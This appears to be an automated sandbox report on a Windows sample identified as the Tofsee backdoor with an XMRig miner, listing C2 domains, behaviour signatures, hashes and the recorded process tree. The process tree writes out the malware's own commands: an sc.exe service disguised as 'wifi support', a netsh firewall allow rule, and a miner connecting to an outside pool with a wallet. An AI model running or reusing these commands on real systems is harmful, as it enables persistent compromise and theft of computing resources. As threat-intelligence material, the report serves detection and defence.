Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2022, 16:53

General

  • Target
    file.exe
  • Size 228KB
  • Sample221221-vdy32acf72
  • SHA256 433db28d41b3ce941a01bddfe4856c3e1ad99e8755f6db61e78dd7e8acccc5f7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3792
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\atmhgiwy\
      2⤵
        PID:544
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dtvizrc.exe" C:\Windows\SysWOW64\atmhgiwy\
        2⤵
          PID:1916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create atmhgiwy binPath= "C:\Windows\SysWOW64\atmhgiwy\dtvizrc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2316
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description atmhgiwy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2320
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start atmhgiwy
          2⤵
          • Launches sc.exe
          PID:308
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:536
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3792 -s 664
          2⤵
          • Program crash
          PID:3968
      • C:\Windows\SysWOW64\atmhgiwy\dtvizrc.exe
        C:\Windows\SysWOW64\atmhgiwy\dtvizrc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3132
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4384
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1020
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3132 -s 528
          2⤵
          • Program crash
          PID:1120
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3792 -ip 3792
        1⤵
          PID:4356
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3132 -ip 3132
          1⤵
            PID:1844

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                dtvizrc.exe

                • Path C:\Users\Admin\AppData\Local\Temp\dtvizrc.exe
                • Size 10.2MB
                • SHA256 2ee6ad51ed17b5ac73eb46237a6832e1e4de0a49f2c94b7ddb094b1b521e5964
                • MD5 SHA1 SHA512 SSDEEP

                dtvizrc.exe

                • Path C:\Windows\SysWOW64\atmhgiwy\dtvizrc.exe
                • Size 10.2MB
                • SHA256 2ee6ad51ed17b5ac73eb46237a6832e1e4de0a49f2c94b7ddb094b1b521e5964
                • MD5 SHA1 SHA512 SSDEEP

                memory/1020-173-0x0000000000C40000-0x0000000000D31000-memory.dmp

                memory/1020-178-0x0000000000C40000-0x0000000000D31000-memory.dmp

                memory/3132-150-0x00000000004FD000-0x000000000050E000-memory.dmp

                memory/3132-151-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/3792-143-0x00000000005E3000-0x00000000005F4000-memory.dmp

                memory/3792-145-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/3792-144-0x00000000004B0000-0x00000000004C3000-memory.dmp

                memory/3792-132-0x00000000005E3000-0x00000000005F4000-memory.dmp

                memory/3792-135-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/3792-133-0x00000000004B0000-0x00000000004C3000-memory.dmp

                memory/4384-154-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/4384-157-0x00000000019B0000-0x00000000019B6000-memory.dmp

                memory/4384-160-0x00000000019C0000-0x00000000019D0000-memory.dmp

                memory/4384-163-0x00000000019D0000-0x00000000019D5000-memory.dmp

                memory/4384-166-0x0000000007100000-0x000000000750B000-memory.dmp

                memory/4384-169-0x00000000019E0000-0x00000000019E7000-memory.dmp

                memory/4384-153-0x0000000000330000-0x0000000000345000-memory.dmp

                memory/4384-152-0x0000000000330000-0x0000000000345000-memory.dmp

                memory/4384-147-0x0000000000330000-0x0000000000345000-memory.dmp